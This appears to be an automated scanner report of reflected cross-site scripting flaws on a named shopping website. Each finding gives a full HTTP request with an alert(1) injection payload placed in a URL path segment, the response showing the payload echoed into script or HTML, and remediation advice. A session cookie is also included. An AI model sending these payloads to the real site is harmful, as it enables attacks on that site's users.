GET /Shopping/Books-Music-Movies/05084418e9726'-alert(1)-'55efcd52eb5/Music/72 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 10:23:42 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 58859
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <script type="text/javascript"> var randstyle='magenta'; var indexpage='Shopping/Books-Music-Movies/05084418e9726'-alert(1)-'55efcd52eb5/Music/72'; var initfacebox=''; var contactid=''; var showfacebox=''; </script> ...[SNIP]...
The value of REST URL parameter 4 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 84b92'-alert(1)-'ad4a10db0ef was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /Shopping/Books-Music-Movies/05084418/Music84b92'-alert(1)-'ad4a10db0ef/72 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 10:35:53 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 58100
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <script type="text/javascript"> var randstyle='orange'; var indexpage='Shopping/Books-Music-Movies/05084418/Music84b92'-alert(1)-'ad4a10db0ef/72'; var initfacebox=''; var contactid=''; var showfacebox=''; </script> ...[SNIP]...
The value of REST URL parameter 5 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload a784b'-alert(1)-'63148e25070 was submitted in the REST URL parameter 5. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /Shopping/Books-Music-Movies/05084418/Music/72a784b'-alert(1)-'63148e25070 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 10:40:41 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 54245
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <script type="text/javascript"> var randstyle='purple'; var indexpage='Shopping/Books-Music-Movies/05084418/Music/72a784b'-alert(1)-'63148e25070'; var initfacebox=''; var contactid=''; var showfacebox=''; </script> ...[SNIP]...
The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload e398c'-alert(1)-'594e82ce06 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /Shoppinge398c'-alert(1)-'594e82ce06/Clothing-Accessories/194367784 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 11:06:45 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 59871
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <script type="text/javascript"> var randstyle='magenta'; var indexpage='Shoppinge398c'-alert(1)-'594e82ce06/Clothing-Accessories'; var initfacebox=''; var contactid=''; var showfacebox=''; </script> ...[SNIP]...
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 1819f"><a>b044d9257ad was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Request
GET /Shopping1819f"><a>b044d9257ad/Clothing-Accessories/194367784 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 10:58:25 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 60037
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <input type="hidden" name="indexpage" id="indexpage" value="Shopping1819f"><a>b044d9257ad"> ...[SNIP]...
The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload c583c'-alert(1)-'9a5270b3338 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /Shopping/Clothing-Accessoriesc583c'-alert(1)-'9a5270b3338/194367784 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 11:10:59 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 62099
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <script type="text/javascript"> var randstyle='green'; var indexpage='Shopping/Clothing-Accessoriesc583c'-alert(1)-'9a5270b3338'; var initfacebox=''; var contactid=''; var showfacebox=''; </script> ...[SNIP]...
The value of REST URL parameter 2 is copied into the HTML document as plain text between tags. The payload 7639c<script>alert(1)</script>eedd98e9c32 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /Shopping/Clothing-Accessories7639c<script>alert(1)</script>eedd98e9c32/194367784 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 11:11:03 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 61688
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <p class="main-vista">Clothing Accessories7639c<script>alert(1)</script>eedd98e9c32 <a href="#" id="backlink"> ...[SNIP]...
The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload acf2d'-alert(1)-'a77b80a9f16 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /Shoppingacf2d'-alert(1)-'a77b80a9f16/Clothing-Accessories/194367784/Accessories-for-Her/48 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 10:31:50 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 60233
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <script type="text/javascript"> var randstyle='purple'; var indexpage='Shoppingacf2d'-alert(1)-'a77b80a9f16/Clothing-Accessories/194367784/Accessories-for-Her/48'; var initfacebox=''; var contactid=''; var showfacebox=''; </script> ...[SNIP]...
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 93695"><a>752e3b68b21 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Request
GET /Shopping93695"><a>752e3b68b21/Clothing-Accessories/194367784/Accessories-for-Her/48 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 10:14:37 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 59947
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <input type="hidden" name="indexpage" id="indexpage" value="Shopping93695"><a>752e3b68b21"> ...[SNIP]...
The value of REST URL parameter 2 is copied into the HTML document as plain text between tags. The payload 4efb1<script>alert(1)</script>270c69688f2 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /Shopping/Clothing-Accessories4efb1<script>alert(1)</script>270c69688f2/194367784/Accessories-for-Her/48 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 10:45:39 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 61768
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <p class="main-vista">Clothing Accessories4efb1<script>alert(1)</script>270c69688f2 <a href="#" id="backlink"> ...[SNIP]...
The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload a5817'-alert(1)-'f1d9a9f0a05 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /Shopping/Clothing-Accessoriesa5817'-alert(1)-'f1d9a9f0a05/194367784/Accessories-for-Her/48 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 10:44:36 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 61949
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <script type="text/javascript"> var randstyle='blue'; var indexpage='Shopping/Clothing-Accessoriesa5817'-alert(1)-'f1d9a9f0a05/194367784/Accessories-for-Her/48'; var initfacebox=''; var contactid=''; var showfacebox=''; </script> ...[SNIP]...
The value of REST URL parameter 3 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 9a731'-alert(1)-'b933d2c31c6 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /Shopping/Clothing-Accessories/1943677849a731'-alert(1)-'b933d2c31c6/Accessories-for-Her/48 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 10:52:06 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 61455
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <script type="text/javascript"> var randstyle='green'; var indexpage='Shopping/Clothing-Accessories/1943677849a731'-alert(1)-'b933d2c31c6/Accessories-for-Her/48'; var initfacebox=''; var contactid=''; var showfacebox=''; </script> ...[SNIP]...
The value of REST URL parameter 4 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload b566a'-alert(1)-'868cb594aa2 was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /Shopping/Clothing-Accessories/194367784/Accessories-for-Herb566a'-alert(1)-'868cb594aa2/48 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 10:58:22 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 61927
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <script type="text/javascript"> var randstyle='green'; var indexpage='Shopping/Clothing-Accessories/194367784/Accessories-for-Herb566a'-alert(1)-'868cb594aa2/48'; var initfacebox=''; var contactid=''; var showfacebox=''; </script> ...[SNIP]...
The value of REST URL parameter 5 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 1711c'-alert(1)-'6d4db64a6fb was submitted in the REST URL parameter 5. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /Shopping/Clothing-Accessories/194367784/Accessories-for-Her/481711c'-alert(1)-'6d4db64a6fb HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 11:01:18 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 55309
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <script type="text/javascript"> var randstyle='green'; var indexpage='Shopping/Clothing-Accessories/194367784/Accessories-for-Her/481711c'-alert(1)-'6d4db64a6fb'; var initfacebox=''; var contactid=''; var showfacebox=''; </script> ...[SNIP]...
The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 68187'-alert(1)-'78be639f950 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /Shopping68187'-alert(1)-'78be639f950/Clothing-Accessories/194367784/Accessories-for-Him/47 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 10:47:36 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 59729
